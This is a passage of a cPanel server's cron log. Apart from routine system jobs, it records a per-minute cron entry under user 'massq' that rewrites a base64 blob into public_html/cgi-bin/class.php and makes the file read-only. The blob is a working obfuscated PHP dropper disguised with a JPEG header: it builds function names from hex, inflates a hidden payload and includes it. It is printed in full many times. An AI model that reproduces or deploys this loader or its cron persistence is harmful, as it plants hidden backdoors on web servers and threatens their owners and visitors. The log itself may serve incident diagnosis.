&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:50:01 server CROND[5101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 00:50:01 server CROND[5102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:50:01 server CROND[5105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:50:01 server CROND[5103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:50:01 server CROND[5106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 00:51:01 server CROND[6020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:52:01 server CROND[6854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:53:01 server CROND[7689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:54:01 server CROND[8431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:55:01 server CROND[9514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:55:01 server CROND[9515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:55:01 server CROND[9516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:56:01 server CROND[10413]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:57:01 server CROND[11144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:57:01 server CROND[11145]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:58:01 server CROND[11974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:59:01 server CROND[12782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:00:01 server CROND[13657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:00:01 server CROND[13661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 01:00:01 server CROND[13665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:00:01 server CROND[13664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:01:01 server CROND[14567]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 01:01:01 server CROND[14568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:01:01 server run-parts(/etc/cron.hourly)[14567]: starting 0anacron
Nov 12 01:01:01 server anacron[14580]: Anacron started on 2025-11-12
Nov 12 01:01:01 server anacron[14580]: Normal exit (0 jobs run)
Nov 12 01:01:01 server run-parts(/etc/cron.hourly)[14582]: finished 0anacron
